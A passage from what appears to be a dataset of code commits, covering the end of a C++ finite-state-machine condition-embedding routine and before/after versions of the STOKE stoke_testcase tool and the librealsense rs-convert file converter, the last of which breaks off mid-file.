);\n\n\tCondSpace *mergedCondSpace = addCondSpace( mergedCS );\n\tdestTrans->condSpace = mergedCondSpace;\n}\n\nCondSpace *FsmAp::addCondSpace( const CondSet &condSet )\n{\n\tCondSpace *condSpace = ctx->condData->condSpaceMap.find( condSet );\n\tif ( condSpace == 0 ) {\n\t\tcondSpace = new CondSpace( condSet );\n\t\tctx->condData->condSpaceMap.insert( condSpace );\n\t}\n\treturn condSpace;\n}\n\n\nvoid FsmAp::embedCondition( MergeData &md, StateAp *state, Action *condAction, bool sense )\n{\n\t\/* First replace TransDataAp with cond versions. *\/\n\tTransList destList;\n\tfor ( TransList::Iter tr = state->outList; tr.lte(); ) {\n\t\tTransList::Iter next = tr.next();\n\t\tif ( tr->plain() ) {\n\t\t\tTransDataAp *trans = tr->tdap();\n\n\t\t\t\/* Detach in list. *\/\n\n\t\t\tTransCondAp *newTrans = new TransCondAp();\n\t\t\tnewTrans->lowKey = trans->lowKey;\n\t\t\tnewTrans->highKey = trans->highKey;\n\t\t\tnewTrans->condSpace = tr->condSpace;\n\n\t\t\tCondAp *newCond = new CondAp( newTrans );\n\t\t\tnewCond->key = 0;\n\t\t\tnewTrans->condList.append( newCond );\n\n\t\t\tnewCond->lmActionTable.setActions( trans->lmActionTable );\n\t\t\tnewCond->actionTable.setActions( trans->actionTable );\n\t\t\tnewCond->priorTable.setPriors( trans->priorTable );\n\n\t\t\tattachTrans( state, trans->toState, newCond );\n\n\t\t\tdetachTrans( state, trans->toState, trans );\n\t\t\tdelete trans;\n\n\t\t\tdestList.append( newTrans );\n\t\t}\n\t\telse {\n\t\t\tdestList.append( tr );\n\t\t}\n\n\t\ttr = next;\n\t}\n\n\tstate->outList.abandon();\n\tstate->outList.transfer( destList );\n\n\tfor ( TransList::Iter tr = state->outList; tr.lte(); tr++ ) {\n\t\t\/* The original cond set. *\/\n\t\tCondSet origCS;\n\t\tif ( tr->condSpace != 0 )\n\t\t\torigCS.insert( tr->condSpace->condSet );\n\n\t\t\/* The merged cond set. *\/\n\t\tCondSet mergedCS;\n\t\tmergedCS.insert( origCS );\n\t\tmergedCS.insert( condAction );\n\n\t\t\/* Allocate a cond space for the merged set. *\/\n\t\tCondSpace *mergedCondSpace = addCondSpace( mergedCS );\n\t\ttr->condSpace = mergedCondSpace;\n\n\t\t\/* Translate original condition values, making space for the new bit\n\t\t * (possibly) introduced by the condition embedding. *\/\n\t\tfor ( CondList::Iter cti = tr->tcap()->condList; cti.lte(); cti++ ) {\n\t\t\tlong origVal = cti->key.getVal();\n\t\t\tlong newVal = 0;\n\n\t\t\t\/* For every set bit in the orig, find it's position in the merged\n\t\t\t * and set the bit appropriately. *\/\n\t\t\tfor ( CondSet::Iter csi = origCS; csi.lte(); csi++ ) {\n\t\t\t\t\/* If set, find it in the merged set and flip the bit to 1. If\n\t\t\t\t * not set, there is nothing to do (convenient eh?) *\/\n\t\t\t\tif ( origVal & (1 << csi.pos()) ) {\n\t\t\t\t\t\/* The condition is set. Find the bit position in the\n\t\t\t\t\t * merged set. *\/\n\t\t\t\t\tAction **cim = mergedCS.find( *csi );\n\t\t\t\t\tlong bitPos = (cim - mergedCS.data);\n\t\t\t\t\tnewVal |= 1 << bitPos;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( origVal != newVal ) {\n\t\t\t\tstd::cerr << \"orig: \" << origVal << \" new: \" << newVal << std::endl;\n\t\t\t\tcti->key = newVal;\n\t\t\t}\n\n\t\t\t\/* Now set the new bit appropriately. Since it defaults to zero we\n\t\t\t * only take action if sense is positive. *\/\n\t\t\tif ( sense ) {\n\t\t\t\tAction **cim = mergedCS.find( condAction );\n\t\t\t\tint pos = cim - mergedCS.data;\n\t\t\t\tcti->key = cti->key.getVal() | (1 << pos);\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid FsmAp::embedCondition( StateAp *state, Action *condAction, bool sense )\n{\n\tMergeData md;\n\n\t\/* Turn on misfit accounting to possibly catch the old start state. *\/\n\tsetMisfitAccounting( true );\n\n\t\/* Worker. *\/\n\tembedCondition( md, state, condAction, sense );\n\n\t\/* Fill in any states that were newed up as combinations of others. *\/\n\tfillInStates( md );\n\n\t\/* Remove the misfits and turn off misfit accounting. *\/\n\tremoveMisfits();\n\tsetMisfitAccounting( false );\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013-2015 Eric Schkufza, Rahul Sharma, Berkeley Churchill, Stefan Heule\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <chrono>\n#include <fstream>\n#include <iostream>\n#include <random>\n#include <string>\n#include <vector>\n\n#include \"src\/ext\/cpputil\/include\/command_line\/command_line.h\"\n#include \"src\/ext\/cpputil\/include\/serialize\/line_reader.h\"\n#include \"src\/ext\/cpputil\/include\/serialize\/span_reader.h\"\n#include \"src\/ext\/cpputil\/include\/signal\/debug_handler.h\"\n#include \"src\/ext\/cpputil\/include\/system\/terminal.h\"\n\n#include \"src\/state\/cpu_states.h\"\n#include \"src\/stategen\/stategen.h\"\n#include \"tools\/args\/target.h\"\n#include \"tools\/gadgets\/sandbox.h\"\n#include \"tools\/gadgets\/target.h\"\n#include \"tools\/io\/tunit.h\"\n#include \"tools\/ui\/console.h\"\n\nusing namespace cpputil;\nusing namespace std;\nusing namespace stoke;\n\nauto& io_opt = Heading::create(\"I\/O options:\");\nauto& bin = ValueArg<string>::create(\"bin\")\n .usage(\"<path\/to\/bin>\")\n .description(\"Executable binary containing function to generate testcases for\");\nauto& args = ValueArg<string, LineReader<>>::create(\"args\")\n .usage(\"<arg1 arg2 ... argn>\")\n .description(\"Optional command line arguments to pass to binary\")\n .default_val(\"\");\nauto& out = ValueArg<string>::create(\"o\")\n .alternate(\"out\")\n .usage(\"<path\/to\/file.tc>\")\n .description(\"File to write testcases to (defaults to console if unspecified)\")\n .required();\n\nauto& common_opt = Heading::create(\"Common options:\");\nauto& max_tc = ValueArg<size_t>::create(\"max_testcases\")\n .usage(\"<int>\")\n .description(\"The maximum number of testcases to generate\")\n .default_val(16);\n\nauto& trace_opt = Heading::create(\"Trace options:\");\nauto& fxn = ValueArg<string>::create(\"fxn\")\n .usage(\"<string>\")\n .description(\"Function to generate testcases for\")\n .default_val(\"main\");\nauto& begin_line = ValueArg<size_t>::create(\"begin_line\")\n .usage(\"<int>\")\n .description(\"The line number to begin recording from\")\n .default_val(1);\nauto& end_lines = ValueArg<vector<size_t>>::create(\"end_lines\")\n .usage(\"{ 0 1 ... 9 }\")\n .description(\"Line number to end recording on; recording always stops on returns\")\n .default_val({});\nauto& max_stack = ValueArg<uint64_t>::create(\"max_stack\")\n .usage(\"<bytes>\")\n .description(\"The maximum number of bytes to assume could be stack\")\n .default_val(1024);\n\nauto& autogen_opt = Heading::create(\"Autogen options:\");\nauto& max_attempts = ValueArg<uint64_t>::create(\"max_attempts\")\n .usage(\"<int>\")\n .description(\"The maximum number of attempts to make at generating a testcase\")\n .default_val(16);\nauto& max_memory = ValueArg<uint64_t>::create(\"max_memory\")\n .usage(\"<bytes>\")\n .description(\"The maximum number of bytes to allocate to stack or heap\")\n .default_val(1024);\nauto& stack_size = ValueArg<size_t>::create(\"stack_size\")\n .usage(\"<int>\")\n .description(\"The minimum stack size available to the testcase\")\n .default_val(16);\n\nauto& conv_opt = Heading::create(\"File conversion options:\");\nauto& compress = FlagArg::create(\"compress\")\n .description(\"Convert testcase file from text to binary\");\nauto& decompress = FlagArg::create(\"decompress\")\n .description(\"Convert testcase file from binary to text\");\nauto& in = ValueArg<string>::create(\"in\")\n .alternate(\"i\")\n .usage(\"<path\/to\/file.tc>\")\n .description(\"Path to testcases file\")\n .default_val(\"in.tc\");\n\nint auto_gen() {\n TargetGadget target;\n SandboxGadget sb({});\n\n StateGen sg(&sb, stack_size.value());\n sg.set_max_attempts(max_attempts.value())\n .set_max_memory(max_stack.value());\n\n CpuStates tcs;\n for (size_t i = 0, ie = max_tc.value(); i < ie; ++i) {\n CpuState tc;\n if (sg.get(tc, target)) {\n tcs.push_back(tc);\n }\n }\n\n if (tcs.empty()) {\n Console::error(1) << \"Unable to generate testcases!\" << endl;\n }\n\n if (out.value() != \"\") {\n ofstream ofs(out.value());\n tcs.write_text(ofs);\n } else {\n tcs.write_text(Console::msg());\n Console::msg() << endl;\n }\n\n return 0;\n}\n\nint trace(const string& argv0) {\n string here = argv0;\n here = here.substr(0, here.find_last_of(\"\/\") + 1);\n\n const string pin_path = here + \"..\/src\/ext\/pin-2.13-62732-gcc.4.4.7-linux\/\";\n const string so_path = pin_path + \"source\/tools\/stoke\/obj-intel64\/\";\n\n Terminal term;\n term << pin_path << \"pin -injection child -t \" << so_path << \"testcase.so \";\n\n term << \"-f \" << fxn.value() << \" \";\n if (out.value() != \"\") {\n term << \"-o \" << out.value() << \" \";\n }\n term << \"-x \" << max_stack.value() << \" \";\n term << \"-n \" << max_tc.value() << \" \";\n term << \"-b \" << begin_line.value() << \" \";\n term << \"-e \\\" \";\n for (auto e : end_lines.value()) {\n term << e << \" \";\n }\n term << \"\\\" \";\n\n term << \" -- \" << bin.value() << \" \" << args.value() << endl;\n\n return 0;\n}\n\nint do_compress() {\n ifstream ifs(in.value());\n if (!ifs.is_open()) {\n Console::error(1) << \"Unable to open input file: \" << in.value() << \"!\" << endl;\n }\n\n CpuStates cs;\n cs.read_text(ifs);\n if (ifs.fail()) {\n Console::error(1) << \"Unable to read input file: \" << in.value() << \"!\" << endl;\n }\n\n if (out.value() != \"\") {\n ofstream ofs(out.value());\n cs.write_bin(ofs);\n } else {\n cs.write_bin(Console::msg());\n Console::msg() << endl;\n }\n\n return 0;\n}\n\nint do_decompress() {\n ifstream ifs(in.value());\n if (!ifs.is_open()) {\n Console::error(1) << \"Unable to open input file: \" << in.value() << \"!\" << endl;\n }\n\n CpuStates cs;\n cs.read_bin(ifs);\n if (ifs.fail()) {\n Console::error(1) << \"Unable to read input file: \" << in.value() << \"!\" << endl;\n }\n\n if (out.value() != \"\") {\n ofstream ofs(out.value());\n cs.write_text(ofs);\n } else {\n cs.write_text(Console::msg());\n Console::msg() << endl;\n }\n\n return 0;\n}\n\nint main(int argc, char** argv) {\n target_arg.required(false);\n CommandLineConfig::strict_with_convenience(argc, argv);\n DebugHandler::install_sigsegv();\n DebugHandler::install_sigill();\n\n if (compress.value()) {\n return do_compress();\n } else if (decompress.value()) {\n return do_decompress();\n } else if (target_arg.has_been_provided()) {\n return auto_gen();\n } else {\n return trace(argv[0]);\n }\n}\n\n<commit_msg>--out in stoke_testcase is not required<commit_after>\/\/ Copyright 2013-2015 Eric Schkufza, Rahul Sharma, Berkeley Churchill, Stefan Heule\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <chrono>\n#include <fstream>\n#include <iostream>\n#include <random>\n#include <string>\n#include <vector>\n\n#include \"src\/ext\/cpputil\/include\/command_line\/command_line.h\"\n#include \"src\/ext\/cpputil\/include\/serialize\/line_reader.h\"\n#include \"src\/ext\/cpputil\/include\/serialize\/span_reader.h\"\n#include \"src\/ext\/cpputil\/include\/signal\/debug_handler.h\"\n#include \"src\/ext\/cpputil\/include\/system\/terminal.h\"\n\n#include \"src\/state\/cpu_states.h\"\n#include \"src\/stategen\/stategen.h\"\n#include \"tools\/args\/target.h\"\n#include \"tools\/gadgets\/sandbox.h\"\n#include \"tools\/gadgets\/target.h\"\n#include \"tools\/io\/tunit.h\"\n#include \"tools\/ui\/console.h\"\n\nusing namespace cpputil;\nusing namespace std;\nusing namespace stoke;\n\nauto& io_opt = Heading::create(\"I\/O options:\");\nauto& bin = ValueArg<string>::create(\"bin\")\n .usage(\"<path\/to\/bin>\")\n .description(\"Executable binary containing function to generate testcases for\");\nauto& args = ValueArg<string, LineReader<>>::create(\"args\")\n .usage(\"<arg1 arg2 ... argn>\")\n .description(\"Optional command line arguments to pass to binary\")\n .default_val(\"\");\nauto& out = ValueArg<string>::create(\"o\")\n .alternate(\"out\")\n .usage(\"<path\/to\/file.tc>\")\n .description(\"File to write testcases to (defaults to console if unspecified)\");\n\nauto& common_opt = Heading::create(\"Common options:\");\nauto& max_tc = ValueArg<size_t>::create(\"max_testcases\")\n .usage(\"<int>\")\n .description(\"The maximum number of testcases to generate\")\n .default_val(16);\n\nauto& trace_opt = Heading::create(\"Trace options:\");\nauto& fxn = ValueArg<string>::create(\"fxn\")\n .usage(\"<string>\")\n .description(\"Function to generate testcases for\")\n .default_val(\"main\");\nauto& begin_line = ValueArg<size_t>::create(\"begin_line\")\n .usage(\"<int>\")\n .description(\"The line number to begin recording from\")\n .default_val(1);\nauto& end_lines = ValueArg<vector<size_t>>::create(\"end_lines\")\n .usage(\"{ 0 1 ... 9 }\")\n .description(\"Line number to end recording on; recording always stops on returns\")\n .default_val({});\nauto& max_stack = ValueArg<uint64_t>::create(\"max_stack\")\n .usage(\"<bytes>\")\n .description(\"The maximum number of bytes to assume could be stack\")\n .default_val(1024);\n\nauto& autogen_opt = Heading::create(\"Autogen options:\");\nauto& max_attempts = ValueArg<uint64_t>::create(\"max_attempts\")\n .usage(\"<int>\")\n .description(\"The maximum number of attempts to make at generating a testcase\")\n .default_val(16);\nauto& max_memory = ValueArg<uint64_t>::create(\"max_memory\")\n .usage(\"<bytes>\")\n .description(\"The maximum number of bytes to allocate to stack or heap\")\n .default_val(1024);\nauto& stack_size = ValueArg<size_t>::create(\"stack_size\")\n .usage(\"<int>\")\n .description(\"The minimum stack size available to the testcase\")\n .default_val(16);\n\nauto& conv_opt = Heading::create(\"File conversion options:\");\nauto& compress = FlagArg::create(\"compress\")\n .description(\"Convert testcase file from text to binary\");\nauto& decompress = FlagArg::create(\"decompress\")\n .description(\"Convert testcase file from binary to text\");\nauto& in = ValueArg<string>::create(\"in\")\n .alternate(\"i\")\n .usage(\"<path\/to\/file.tc>\")\n .description(\"Path to testcases file\")\n .default_val(\"in.tc\");\n\nint auto_gen() {\n TargetGadget target;\n SandboxGadget sb({});\n\n StateGen sg(&sb, stack_size.value());\n sg.set_max_attempts(max_attempts.value())\n .set_max_memory(max_stack.value());\n\n CpuStates tcs;\n for (size_t i = 0, ie = max_tc.value(); i < ie; ++i) {\n CpuState tc;\n if (sg.get(tc, target)) {\n tcs.push_back(tc);\n }\n }\n\n if (tcs.empty()) {\n Console::error(1) << \"Unable to generate testcases!\" << endl;\n }\n\n if (out.has_been_provided()) {\n ofstream ofs(out.value());\n tcs.write_text(ofs);\n } else {\n tcs.write_text(Console::msg());\n Console::msg() << endl;\n }\n\n return 0;\n}\n\nint trace(const string& argv0) {\n string here = argv0;\n here = here.substr(0, here.find_last_of(\"\/\") + 1);\n\n const string pin_path = here + \"..\/src\/ext\/pin-2.13-62732-gcc.4.4.7-linux\/\";\n const string so_path = pin_path + \"source\/tools\/stoke\/obj-intel64\/\";\n\n Terminal term;\n term << pin_path << \"pin -injection child -t \" << so_path << \"testcase.so \";\n\n term << \"-f \" << fxn.value() << \" \";\n if (out.has_been_provided()) {\n term << \"-o \" << out.value() << \" \";\n }\n term << \"-x \" << max_stack.value() << \" \";\n term << \"-n \" << max_tc.value() << \" \";\n term << \"-b \" << begin_line.value() << \" \";\n term << \"-e \\\" \";\n for (auto e : end_lines.value()) {\n term << e << \" \";\n }\n term << \"\\\" \";\n\n term << \" -- \" << bin.value() << \" \" << args.value() << endl;\n\n return 0;\n}\n\nint do_compress() {\n ifstream ifs(in.value());\n if (!ifs.is_open()) {\n Console::error(1) << \"Unable to open input file: \" << in.value() << \"!\" << endl;\n }\n\n CpuStates cs;\n cs.read_text(ifs);\n if (ifs.fail()) {\n Console::error(1) << \"Unable to read input file: \" << in.value() << \"!\" << endl;\n }\n\n if (out.has_been_provided()) {\n ofstream ofs(out.value());\n cs.write_bin(ofs);\n } else {\n cs.write_bin(Console::msg());\n Console::msg() << endl;\n }\n\n return 0;\n}\n\nint do_decompress() {\n ifstream ifs(in.value());\n if (!ifs.is_open()) {\n Console::error(1) << \"Unable to open input file: \" << in.value() << \"!\" << endl;\n }\n\n CpuStates cs;\n cs.read_bin(ifs);\n if (ifs.fail()) {\n Console::error(1) << \"Unable to read input file: \" << in.value() << \"!\" << endl;\n }\n\n if (out.has_been_provided()) {\n ofstream ofs(out.value());\n cs.write_text(ofs);\n } else {\n cs.write_text(Console::msg());\n Console::msg() << endl;\n }\n\n return 0;\n}\n\nint main(int argc, char** argv) {\n target_arg.required(false);\n CommandLineConfig::strict_with_convenience(argc, argv);\n DebugHandler::install_sigsegv();\n DebugHandler::install_sigill();\n\n if (compress.value()) {\n return do_compress();\n } else if (decompress.value()) {\n return do_decompress();\n } else if (target_arg.has_been_provided()) {\n return auto_gen();\n } else {\n return trace(argv[0]);\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ License: Apache 2.0. See LICENSE file in root directory.\n\/\/ Copyright(c) 2018 Intel Corporation. All Rights Reserved.\n\n#include <iostream>\n\n#include \"librealsense2\/rs.hpp\"\n\n#include \"tclap\/CmdLine.h\"\n\n#include \"converters\/converter-csv.hpp\"\n#include \"converters\/converter-png.hpp\"\n#include \"converters\/converter-raw.hpp\"\n#include \"converters\/converter-ply.hpp\"\n#include \"converters\/converter-bin.hpp\"\n\n#include <mutex>\n\n#define SECONDS_TO_NANOSECONDS 1000000000\n \nusing namespace std;\nusing namespace TCLAP;\n\n\nint main(int argc, char** argv) try\n{\n rs2::log_to_file(RS2_LOG_SEVERITY_WARN);\n\n \/\/ Parse command line arguments\n CmdLine cmd(\"librealsense rs-convert tool\", ' ');\n ValueArg<string> inputFilename(\"i\", \"input\", \"ROS-bag filename\", true, \"\", \"ros-bag-file\");\n ValueArg<string> outputFilenamePng(\"p\", \"output-png\", \"output PNG file(s) path\", false, \"\", \"png-path\");\n ValueArg<string> outputFilenameCsv(\"v\", \"output-csv\", \"output CSV (depth matrix) file(s) path\", false, \"\", \"csv-path\");\n ValueArg<string> outputFilenameRaw(\"r\", \"output-raw\", \"output RAW file(s) path\", false, \"\", \"raw-path\");\n ValueArg<string> outputFilenamePly(\"l\", \"output-ply\", \"output PLY file(s) path\", false, \"\", \"ply-path\");\n ValueArg<string> outputFilenameBin(\"b\", \"output-bin\", \"output BIN (depth matrix) file(s) path\", false, \"\", \"bin-path\");\n SwitchArg switchDepth(\"d\", \"depth\", \"convert depth frames (default - all supported)\", false);\n SwitchArg switchColor(\"c\", \"color\", \"convert color frames (default - all supported)\", false);\n ValueArg <string> frameNumberStart(\"f\", \"first-framenumber\", \"ignore frames whose frame number is less than this value\", false, \"\", \"first-framenumber\");\n ValueArg <string> frameNumberEnd(\"t\", \"last-framenumber\", \"ignore frames whose frame number is greater than this value\", false, \"\", \"last-framenumber\");\n ValueArg <string> startTime(\"s\", \"start-time\", \"ignore frames whose timestamp is less than this value (the first frame is at time 0)\", false, \"\", \"start-time\");\n ValueArg <string> endTime(\"e\", \"end-time\", \"ignore frames whose timestamp is greater than this value (the first frame is at time 0)\", false, \"\", \"end-time\");\n\n\n cmd.add(inputFilename);\n cmd.add(frameNumberEnd);\n cmd.add(frameNumberStart);\n cmd.add(endTime);\n cmd.add(startTime);\n cmd.add(outputFilenamePng);\n cmd.add(outputFilenameCsv);\n cmd.add(outputFilenameRaw);\n cmd.add(outputFilenamePly);\n cmd.add(outputFilenameBin);\n cmd.add(switchDepth);\n cmd.add(switchColor);\n cmd.parse(argc, argv);\n\n vector<shared_ptr<rs2::tools::converter::converter_base>> converters;\n shared_ptr<rs2::tools::converter::converter_ply> plyconverter;\n\n rs2_stream streamType = switchDepth.isSet() ? rs2_stream::RS2_STREAM_DEPTH\n : switchColor.isSet() ? rs2_stream::RS2_STREAM_COLOR\n : rs2_stream::RS2_STREAM_ANY;\n\n if (outputFilenameCsv.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_csv>(\n outputFilenameCsv.getValue()\n , streamType));\n }\n\n if (outputFilenamePng.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_png>(\n outputFilenamePng.getValue()\n , streamType));\n }\n\n if (outputFilenameRaw.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_raw>(\n outputFilenameRaw.getValue()\n , streamType));\n }\n\n if (outputFilenameBin.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_bin>(\n outputFilenameBin.getValue()));\n }\n\n if (converters.empty() && !outputFilenamePly.isSet())\n {\n throw runtime_error(\"output not defined\");\n }\n\n unsigned long long first_frame = 0;\n unsigned long long last_frame = 0;\n uint64_t start_time = 0;\n uint64_t end_time = 0;\n\n if (frameNumberStart.isSet())\n {\n first_frame = stoi(frameNumberStart.getValue());\n }\n if (frameNumberEnd.isSet())\n {\n last_frame = stoi(frameNumberEnd.getValue());\n }\n if (startTime.isSet())\n {\n start_time = (uint64_t) (SECONDS_TO_NANOSECONDS * (std::strtod( startTime.getValue().c_str(), nullptr )));\n }\n if (endTime.isSet())\n {\n end_time = (uint64_t) (SECONDS_TO_NANOSECONDS * (std::strtod( endTime.getValue().c_str(), nullptr )));\n }\n\n \/\/in order to convert frames into ply we need synced depth and color frames, \n \/\/therefore we use pipeline\n if (outputFilenamePly.isSet()) {\n\n \/\/ Since we are running in blocking \"non-real-time\" mode,\n \/\/ we don't want to prevent process termination if some of the frames\n \/\/ did not find a match and hence were not serviced\n auto pipe = std::shared_ptr<rs2::pipeline>(\n new rs2::pipeline(), [](rs2::pipeline*) {});\n\n plyconverter = make_shared<rs2::tools::converter::converter_ply>(\n outputFilenamePly.getValue());\n\n rs2::config cfg;\n cfg.enable_device_from_file(inputFilename.getValue());\n pipe->start(cfg);\n\n auto device = pipe->get_active_profile().get_device();\n rs2::playback playback = device.as<rs2::playback>();\n playback.set_real_time(false);\n\n auto duration = playback.get_duration();\n int progress = 0;\n auto frameNumber = 0ULL;\n\n rs2::frameset frameset;\n uint64_t posCurr = playback.get_position();\n\n \/\/ try_wait_for_frames will keep repeating the last frame at the end of the file,\n \/\/ so we need to exit the look in some other way!\n while (pipe->try_wait_for_frames(&frameset, 1000))\n {\n int posP = static_cast<int>(posCurr * 100. \/ duration.count());\n if (posP > progress)\n {\n progress = posP;\n cout << posP << \"%\" << \"\\r\" << flush;\n }\n\n frameNumber = frameset[0].get_frame_number();\n\n bool process_frame = true;\n if (frameNumberStart.isSet() && frameNumber < first_frame)\n process_frame = false;\n else if (frameNumberEnd.isSet() && frameNumber > last_frame)\n process_frame = false;\n else if (startTime.isSet() && posCurr < start_time)\n process_frame = false;\n else if (endTime.isSet() && posCurr > end_time)\n process_frame = false;\n \n if( process_frame )\n {\n plyconverter->convert(frameset);\n plyconverter->wait();\n }\n\n auto posNext = playback.get_position();\n \/\/ NOTE: posNext will be 0 if there is no next frame!\n if( posNext <= posCurr )\n break;\n posCurr = posNext;\n }\n }\n\n \/\/ for every converter other than ply,\n \/\/ we get the frames from playback sensors \n \/\/ and convert them one by one\n if( ! converters.empty() )\n {\n rs2::context ctx;\n auto playback = ctx.load_device(inputFilename.getValue());\n playback.set_real_time(false);\n std::vector<rs2::sensor> sensors = playback.query_sensors();\n std::mutex mutex;\n\n auto duration = playback.get_duration();\n int progress = 0;\n uint64_t posLast = playback.get_position();\n\n for (auto sensor : sensors)\n {\n if (!sensor.get_stream_profiles().size())\n {\n continue;\n }\n\n sensor.open(sensor.get_stream_profiles());\n sensor.start([&](rs2::frame frame)\n {\n std::lock_guard<std::mutex> lock(mutex);\n\n auto frameNumber = frame.get_frame_number();\n auto frame_time = playback.get_position();\n\n if (frameNumberStart.isSet() && frameNumber < first_frame)\n return;\n if (frameNumberEnd.isSet() && frameNumber > last_frame)\n return;\n if (startTime.isSet() && frame_time < start_time)\n return;\n if (endTime.isSet() && frame_time > end_time)\n return;\n\n for_each(converters.begin(), converters.end(),\n [&frame](shared_ptr<rs2::tools::converter::converter_base>& converter) {\n converter->convert(frame);\n });\n\n for_each(converters.begin(), converters.end(),\n [](shared_ptr<rs2::tools::converter::converter_base>& converter) {\n converter->wait();\n });\n });\n\n }\n\n \/\/we need to clear the output of ply progress (\"100%\") before writing\n \/\/the progress of the other converters in the same line\n cout << \"\\r \\r\";\n\n while (true)\n {\n int posP = static_cast<int>(posLast * 100. \/ duration.count());\n\n if (posP > progress)\n {\n progress = posP;\n cout << posP << \"%\" << \"\\r\" << flush;\n }\n\n const uint64_t posCurr = playback.get_position();\n if (static_cast<int64_t>(posCurr - posLast) < 0)\n {\n break;\n }\n posLast = posCurr;\n }\n\n for (auto sensor : sensors)\n {\n if (!sensor.get_stream_profiles().size())\n {\n continue;\n }\n sensor.stop();\n sensor.close();\n }\n }\n\n cout << endl;\n\n \/\/print statistics for ply converter. \n if (outputFilenamePly.isSet()) {\n cout << plyconverter->get_statistics() << endl;\n }\n\n for_each(converters.begin(), converters.end(),\n [](shared_ptr<rs2::tools::converter::converter_base>& converter) {\n cout << converter->get_statistics() << endl;\n });\n\n\n return EXIT_SUCCESS;\n}\ncatch (const rs2::error & e)\n{\n cerr << \"RealSense error calling \" << e.get_failed_function()\n << \"(\" << e.get_failed_args() << \"):\\n \" << e.what() << endl;\n\n return EXIT_FAILURE;\n}\ncatch (const exception & e)\n{\n cerr << e.what() << endl;\n return EXIT_FAILURE;\n}\ncatch (...)\n{\n cerr << \"some error\" << endl;\n return EXIT_FAILURE;\n}\n<commit_msg>CR fixes<commit_after>\/\/ License: Apache 2.0. See LICENSE file in root directory.\n\/\/ Copyright(c) 2018 Intel Corporation. All Rights Reserved.\n\n#include <iostream>\n\n#include \"librealsense2\/rs.hpp\"\n\n#include \"tclap\/CmdLine.h\"\n\n#include \"converters\/converter-csv.hpp\"\n#include \"converters\/converter-png.hpp\"\n#include \"converters\/converter-raw.hpp\"\n#include \"converters\/converter-ply.hpp\"\n#include \"converters\/converter-bin.hpp\"\n\n#include <mutex>\n\n#define SECONDS_TO_NANOSECONDS 1000000000\n \nusing namespace std;\nusing namespace TCLAP;\n\n\nint main(int argc, char** argv) try\n{\n rs2::log_to_file(RS2_LOG_SEVERITY_WARN);\n\n \/\/ Parse command line arguments\n CmdLine cmd(\"librealsense rs-convert tool\", ' ');\n ValueArg<string> inputFilename(\"i\", \"input\", \"ROS-bag filename\", true, \"\", \"ros-bag-file\");\n ValueArg<string> outputFilenamePng(\"p\", \"output-png\", \"output PNG file(s) path\", false, \"\", \"png-path\");\n ValueArg<string> outputFilenameCsv(\"v\", \"output-csv\", \"output CSV (depth matrix) file(s) path\", false, \"\", \"csv-path\");\n ValueArg<string> outputFilenameRaw(\"r\", \"output-raw\", \"output RAW file(s) path\", false, \"\", \"raw-path\");\n ValueArg<string> outputFilenamePly(\"l\", \"output-ply\", \"output PLY file(s) path\", false, \"\", \"ply-path\");\n ValueArg<string> outputFilenameBin(\"b\", \"output-bin\", \"output BIN (depth matrix) file(s) path\", false, \"\", \"bin-path\");\n SwitchArg switchDepth(\"d\", \"depth\", \"convert depth frames (default - all supported)\", false);\n SwitchArg switchColor(\"c\", \"color\", \"convert color frames (default - all supported)\", false);\n ValueArg <string> frameNumberStart(\"f\", \"first-framenumber\", \"ignore frames whose frame number is less than this value\", false, \"\", \"first-framenumber\");\n ValueArg <string> frameNumberEnd(\"t\", \"last-framenumber\", \"ignore frames whose frame number is greater than this value\", false, \"\", \"last-framenumber\");\n ValueArg <string> startTime(\"s\", \"start-time\", \"ignore frames whose timestamp is less than this value (the first frame is at time 0)\", false, \"\", \"start-time\");\n ValueArg <string> endTime(\"e\", \"end-time\", \"ignore frames whose timestamp is greater than this value (the first frame is at time 0)\", false, \"\", \"end-time\");\n\n\n cmd.add(inputFilename);\n cmd.add(frameNumberEnd);\n cmd.add(frameNumberStart);\n cmd.add(endTime);\n cmd.add(startTime);\n cmd.add(outputFilenamePng);\n cmd.add(outputFilenameCsv);\n cmd.add(outputFilenameRaw);\n cmd.add(outputFilenamePly);\n cmd.add(outputFilenameBin);\n cmd.add(switchDepth);\n cmd.add(switchColor);\n cmd.parse(argc, argv);\n\n vector<shared_ptr<rs2::tools::converter::converter_base>> converters;\n shared_ptr<rs2::tools::converter::converter_ply> plyconverter;\n\n rs2_stream streamType = switchDepth.isSet() ? rs2_stream::RS2_STREAM_DEPTH\n : switchColor.isSet() ? rs2_stream::RS2_STREAM_COLOR\n : rs2_stream::RS2_STREAM_ANY;\n\n if (outputFilenameCsv.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_csv>(\n outputFilenameCsv.getValue()\n , streamType));\n }\n\n if (outputFilenamePng.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_png>(\n outputFilenamePng.getValue()\n , streamType));\n }\n\n if (outputFilenameRaw.isSet())\n {\n converters.push_back(\n make_shared<rs2::tools::converter::converter_raw>(\n outputFilenameRaw.getValue()\n , streamType));\n }\n\n if 